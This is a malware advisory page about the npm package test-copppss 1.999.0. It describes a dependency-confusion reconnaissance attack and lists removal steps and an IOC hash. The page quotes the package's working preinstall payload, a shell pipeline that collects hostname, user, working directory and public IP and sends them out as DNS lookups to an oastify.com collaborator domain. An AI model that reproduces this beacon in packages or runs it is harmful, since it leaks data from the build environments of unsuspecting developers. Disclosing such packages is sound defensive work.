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Malicious package

test-copppssnpm

Malicious code in test-copppss (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5926
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall test-copppss

What this malware does

On npm install, the package's preinstall hook (node index.js > /dev/null 2>&1) runs a shell pipeline that collects host identifiers — hostname, pwd, whoami, the package name test-copppss, and the machine's public IP via curl https://ifconfig.me — hex-encodes the concatenation with xxd -p, and exfiltrates it as DNS subdomain lookups to *.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com (a Burp Collaborator OAST endpoint controlled by the operator). Code at index.js:2 is exec("a=$(hostname;pwd;whoami;echo 'test-copppss';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.iwisr6uvbepzgs9fy8nyytl4ovumic61.oastify.com;done"). The package metadata (empty description, near-max version 1.999.0 to win semver resolution, single trivial dependency, preinstall beacon) matches the canonical dependency-confusion / namespace-claim reconnaissance shape — the attacker is probing which internal build systems resolve test-copppss to this public name and is harvesting the host fingerprint of any environment that does.

Malicious versions

1 flagged
1.999.0

Indicators of compromise (SHA-256)

03106e028cee7749b7f3a9b327142fc0a402574bc72f3a62d129aa891afe85fe

Frequently asked questions

No. test-copppss on npm has been identified as a malicious package (version 1.999.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006832

References

Credits

  • Amazon Inspector · finder

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O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
test-copppss (npm) malicious package — MAL-2026-5926 | O3 Security